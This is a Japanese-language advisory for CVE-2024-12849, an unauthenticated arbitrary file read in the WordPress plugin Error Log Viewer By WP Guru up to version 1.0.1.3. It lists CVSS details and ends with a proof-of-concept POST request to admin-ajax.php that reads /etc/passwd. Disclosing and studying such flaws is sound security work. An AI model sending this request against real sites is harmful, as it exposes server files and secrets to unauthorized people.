CVE-2024-12849

Error Log Viewer By WP Guru <= 1.0.1.3 - 認可欠如による未認証の任意ファイル読み取り

説明

WordPress用プラグイン Error Log Viewer By WP Guru は、1.0.1.3までの全バージョンにおいて、wp_ajax_nopriv_elvwp_log_download AJAXアクションを介した任意ファイル読み取りの脆弱性があります。これにより、未認証の攻撃者がサーバー上の任意のファイルの内容を読み取ることが可能になり、そのファイルには機密情報が含まれる可能性があります。

詳細

• タイプ: プラグイン
• スラッグ: error-log-viewer-wp
• 影響を受けるバージョン: 1.0.1.3
• CVSSスコア: 7.5
• CVSS評価: 高
• CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-12849
• ステータス: アクティブ

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd